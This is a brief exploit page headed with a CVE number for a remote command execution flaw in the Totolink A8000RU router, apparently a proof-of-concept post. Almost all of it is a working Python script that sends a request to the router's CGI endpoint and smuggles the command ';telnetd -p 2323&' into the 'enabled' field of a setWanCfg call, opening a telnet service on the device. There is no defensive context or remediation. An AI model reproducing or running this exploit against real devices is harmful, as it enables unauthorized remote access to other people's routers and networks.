CVE-2026-9458 Totolink A8000RU远程命令执行漏洞

import requests # Target URL target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Vulnerable payload: Injecting a command to ping back (example) or start telnet # The 'enabled' argument is the injection point payload = ";telnetd -p 2323&" # Data structure typically expected by this specific API endpoint data = { "function": "setWanCfg", "enabled": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/json" } try: response = requests.post(target_url, json=data, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") # Check if telnet port opened or command executed via secondary check except Exception as e: print(f"Error: {e}")